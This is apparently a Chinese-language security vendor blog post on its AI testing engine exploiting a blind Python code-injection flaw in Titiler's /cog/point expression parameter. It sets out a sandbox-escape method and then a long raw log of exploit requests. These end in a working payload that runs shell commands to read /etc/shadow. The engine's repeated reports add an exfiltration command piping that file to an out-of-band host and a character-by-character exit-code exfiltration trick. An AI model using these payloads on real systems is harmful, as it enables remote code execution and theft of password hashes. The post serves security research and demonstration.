安全研究自动化:AI 引擎利用复杂代码盲注
精准优于载荷盲测:Ostorlab 的 AI 引擎系统性地在 Titiler 上实现 RCE,无需任何堆栈跟踪即可证明数据外传。
传统漏洞利用可能需要数天甚至数周的人工测试,才能成功利用。 看到专门的 AI 系统在几分钟内利用同样的漏洞,令人深感不安, 尤其是这些系统每次执行时还会展示不同的利用技术。
Xbow 的 AI 测试引擎最近在开源应用 Titiler 中发现了一个 Python 代码执行漏洞。 这个代码注入漏洞的突出之处在于复杂性:它远非简单直接的代码执行漏洞, 需要高度定制的载荷才能成功利用。
这一发现尤其有趣的地方在于,检测成功的余地极小。深入分析后可见, 漏洞之所以被识别,是因为数百个受测载荷中恰好有一个精巧的载荷。 如果测试工具集中没有这个特定载荷,该漏洞很可能一直未被发现。
下面,我们演示如何通过一种根本不同的方法发现同一漏洞: 有条不紊地逐步构建利用载荷,最终揭示意想不到的利用向量。
从“碰中特定载荷”转向通过迭代学习进行系统性检测, 需要大量优化系统提示词,并显著改进我们的上下文工程架构。
这种系统性方法分为不同阶段:
阶段 1:初步探测
首先,使用以下特定载荷测试常见的直接注入漏洞,以了解服务器如何处理您的输入。
-
检测输入解析与回显:
-
载荷:
a'"<>&z -
原因:观察特殊字符如何被处理。它们是原样回显、经过 HTML 编码,还是被移除?这有助于理解上下文(例如 HTML、JSON)。
-
检测类型约束和错误处理:
-
载荷:如果参数期望数字(例如
id=123),则发送字符串(id=abc)。 -
原因:
TypeError或类似错误表明服务器正在处理输入,并可能提供后端语言和框架的线索。 -
检测代码求值(数学运算):
-
SSTI 载荷:
{{7*7}}、${7*7}、#{7*7} - 原因:如果服务器返回
49,即可确认模板引擎正在对输入求值。这是 SSTI 的有力信号。 - 直接求值载荷:
1/0 -
原因:这可能触发
ZeroDivisionError,确认原始表达式正在求值。这是识别反馈判据的关键步骤。 -
尝试直接 RCE:
-
载荷:
__import__('os').system('id') - 原因:这是最终目标。如果成功,就发现了一个严重漏洞。
如果这些初步探测揭示了漏洞,请连同载荷和证据一起报告。如果被阻止或结论不明确,请利用收集到的信息,继续执行下述核心方法。
如果探测成功,第二阶段就是尝试迭代构建载荷。
阶段 2:核心方法 - 迭代构建载荷
这是发现和利用复杂 Python 注入漏洞的主要方法。当简单载荷失败时,利用服务器响应(尤其是错误)作为反馈判据,逐步构建可工作的载荷。
底层原理(为什么有效):即使在严格沙箱化、限制了 globals 和 __builtins__ 的 Python 环境中(例如 eval(code, {'__builtins__':{}})),通常仍有一个关键逃生口:访问对象层次结构。从简单无害的对象(如空字符串 '' 或元组 ())出发,可以获取其类,沿继承树向上找到基类 <class 'object'>,再使用其 __subclasses__() 方法。这会列出应用内存中加载的每个类,相当于提供了一张通往强大内置模块和函数的地图,可用于完全逃逸沙箱并实现 RCE。以下步骤正是对这一技术的实现。
步骤 1:识别反馈判据(您的反馈机制)
- 操作:必须先找到从服务器获得详细反馈的方法。错误消息是理想的反馈判据。
- 载荷:
{{ invalid_syntax' }}、{{ 1/0 }} - 目标:触发可预测的错误(例如带堆栈跟踪的 500 Internal Server Error)。
- 指示:找到后,明确说明反馈判据是什么。例如:“反馈判据是 HTTP 响应中的 Jinja2 回溯。”
步骤 2:从有效基础开始逐步构建载荷
-
必须从已知有效的基础开始,逐步构建载荷。确认当前步骤有效后才能进入下一步。每一步都建立在上一次成功的基础上。如果某一步失败,必须先分析错误并调整方法,再继续。
-
建立有效基础:找到服务器能无错误求值的简单表达式。这就是基础。
- 增量 1:访问其类:从有效基础开始访问属性。
- 增量 2:访问基类
object: - 增量 3:查找所有子类:
- 增量 4:查找可用于 RCE 的子类:筛选子类,寻找
os等有用模块中的类。 - 增量 5:访问模块的全局变量:
- 最后一步:执行命令:
根据我们的经验,即使上下文正确,如果没有结构合理的系统提示词,引擎也无法确认 该问题。此外,提供过多工具会降低检测质量。以下展示引擎的实际表现。
在 'expression' 参数中发送无害数学运算,验证它是否由 Python 解释器求值。目标是观察服务器响应是否包含计算结果(例如 '49'),而不是原始字符串(例如 '7*7'),从而确认代码求值。
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression='"' Output:
> GET /cog/point/0,0?url=a.tif&expression=' HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-w "%{time_total}" "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27time%27%29.sleep%2810%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27time%27%29.sleep%2810%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1/0 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[1.7976931348623157e+308],"band_names":["b1/0"]}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D"' Output:
> GET /cog/point/0,0?url=a.tif&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'list'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=https......\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=https...<omitted>...&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"https...<omitted>...: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.shape"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.shape HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'shape'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"data type must provide an itemsize"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+42%2C+99%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+42%2C+99%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["where(1==1, b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'any'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'NoneType' object is not subscriptable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'n', b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'm', b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=httpsa.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"a.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'type'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'type'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__()"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__() HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'list'>"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=httpsa.tif&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"a.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'builtin_function_or_method' object is not iterable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'builtin_function_or_method' object is not subscriptable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'tobytes'"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"data type must provide an itemsize"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'array'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='"http://REDACTED/cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif\&expression=np.array(%5B1,+2,+3%5D)"' Output:
> GET /cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif&expression=np.array(%5B1,+2,+3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=np.array(%5B1,2,3%5D)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=np.array(%5B1,2,3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.mean%28%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.mean%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'mean'"}
> GET /cog/point/0,0?url=a.tif&expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B%22__builtins__%22%5D%5B%22eval%22%5D(%22__import__(%27os%27).system(%27id%27)%22)+and+b1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'wrapper_descriptor' object has no attribute '__globals__'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('time').sleep(10)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('time').sleep(10) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=globals()"' Output:
> GET /cog/point/0,0?url=a.tif&expression=globals() HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1;__import__('os').system('ls')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1;__import__('os').system('ls') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__init__.__globals__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'dict'>"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str(b1.__init__.__globals__)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str(b1.__init__.__globals__) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["b1.__init__.__globals__['__builtins__']['eval'](\"__import__('os').system('cat /etc/shadow')\")"]}
我们刻意保留了所有请求的原始形式,以展示引擎如何根据收到的响应迭代改进方法。
这个案例验证了我们采用的一种新兴理念:将 LLM 视为运行时环境,其中系统提示词充当可执行代码。
请看以下示例:
方法 1:直接计算
- 系统提示词:“您是世界级数学专家”
- 结果:LLM 尝试在内部进行数学运算,可能引入计算错误
方法 2:生成并执行代码
- 系统提示词:“将数学问题转换为 Python 代码,通过工具执行,并返回经过验证的结果”
- 结果:LLM 生成确定性的代码,通过外部工具执行,返回准确且可复现的结果
提示词工程中的这一根本差异表明,如何指示智能体执行任务,对输出质量和可靠性有着深刻影响。
将这一方法应用于漏洞检测场景后,引擎在首次系统性尝试中就成功确认了漏洞,与可能需要数千次迭代的传统模糊测试方法形成鲜明对照。
发现漏洞:Python 代码盲注
漏洞概述
在 '/cog/point' 端点的 'expression' 参数中发现了 Python 代码盲注漏洞。服务器对提供的表达式求值,但不在 HTTP 响应中返回命令输出,而是返回执行命令的退出码,成功执行时为 '0'。这确认命令已经执行,但结果必须通过带外方法外传。
概念验证
通过发送以下载荷确认了漏洞:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
服务器返回 200 OK 状态和 {"values":[0.0]},其中 0.0 是 os.system 调用的退出码,证明已经执行。
利用证据
为外传 /etc/shadow 文件,我将使用 Interactsh URL 捕获 curl 命令的输出。
外传载荷:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
复现步骤
- 启动 Interactsh 会话,获取唯一 URL。
- 将 Interactsh URL 加入外传载荷,并进行 URL 编码。
- 向存在漏洞的端点发送 GET 请求,将编码后的载荷放入 'expression' 参数。
- 检查 Interactsh 会话是否收到 POST 请求。该请求体将包含 /etc/shadow 文件内容。
Vulnerability Confirmation(漏洞确认):
服务器执行 os.system 调用,退出码(0)在 JSON 响应的 'values' 字段中返回,确认命令盲执行。
Exfiltration Payload(外传载荷):
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
下一步是利用:
执行带外外传载荷,将 /etc/shadow 文件内容发送至受控的外部服务器。目标是通过验证监听服务器是否收到文件内容,确认此漏洞可被用于窃取敏感数据。
发现漏洞:Python 代码盲注
漏洞概述
在 '/cog/point' 端点的 'expression' 参数中发现了 Python 代码盲注漏洞。服务器对提供的表达式求值,但不在 HTTP 响应中返回命令输出,而是返回执行命令的退出码,成功执行时为 '0'。这确认命令已经执行,但结果必须通过带外方法外传。
概念验证
通过发送以下载荷确认了漏洞:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
服务器返回 200 OK 状态和 {"values":[0.0]},其中 0.0 是 os.system 调用的退出码,证明已经执行。
工具故障阻止了外传
外传 /etc/shadow 文件需要带外(OOB)方法。原计划使用 Interactsh URL 捕获 curl 命令的输出。然而,start_interactsh_session 工具持续初始化失败,无法生成用于数据外传的 URL。
计划使用的外传载荷:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
由于无法生成 Interactsh URL,外传 /etc/shadow 文件的最后一步未能完成。漏洞已确认,但当前利用受到工具链问题阻碍。
执行带外外传载荷,将 /etc/shadow 文件内容发送至受控的外部服务器。目标是通过验证监听服务器是否收到文件内容,确认此漏洞可被用于窃取敏感数据。
发现漏洞:Python 代码盲注
漏洞概述
在 '/cog/point' 端点的 'expression' 参数中发现了 Python 代码盲注漏洞。服务器对提供的表达式求值,但不在 HTTP 响应中返回命令输出,而是返回执行命令的退出码,成功执行时为 '0'。这确认命令已经执行,但结果必须通过带外方法外传。
概念验证
通过发送以下载荷确认了漏洞:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
服务器返回 200 OK 状态和 {"values":[0.0]},其中 0.0 是 os.system 调用的退出码,证明已经执行。
利用证据
为外传 /etc/shadow 文件,我将使用 Interactsh URL 捕获 curl 命令的输出。
外传载荷:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
复现步骤
- 启动 Interactsh 会话,获取唯一 URL。
- 将 Interactsh URL 加入外传载荷,并进行 URL 编码。
- 向存在漏洞的端点发送 GET 请求,将编码后的载荷放入 'expression' 参数。
- 检查 Interactsh 会话是否收到 POST 请求。该请求体将包含 /etc/shadow 文件内容。
Vulnerability Confirmation(漏洞确认):
服务器执行 os.system 调用,退出码(0)在 JSON 响应的 'values' 字段中返回,确认命令盲执行。
Exfiltration Payload(外传载荷):
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
构造 Python 载荷,读取 `/etc/shadow` 文件的首个字符,并将其 ASCII 值作为命令退出码返回。由于带外方法失败,目标是验证应用响应是否反映该退出码,以确认基于退出码的数据外传通道可行。
发现漏洞:Python 代码盲注及通过退出码外传数据
漏洞概述
在 '/cog/point' 端点的 'expression' 参数中发现并利用了 Python 代码盲注漏洞。服务器对提供的表达式求值,虽然不返回命令直接输出,但会在 JSON 响应中返回执行命令的退出码。利用此行为,成功逐字符外传了 /etc/shadow 文件内容。
概念验证
通过发送一系列载荷实现了外传,每个载荷都读取 /etc/shadow 文件中的一个字符,将其转换为 ASCII 值,并用该值作为命令退出码。
获取首个字符 ASCII 值的示例载荷:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('exit `head -c 1 /etc/shadow | od -An -tu1`')")
利用证据
已成功外传 /etc/shadow 文件的全部内容,并作为产物附上。
复现步骤
- 向存在漏洞的端点发送带特制载荷的 GET 请求,即可复现漏洞。
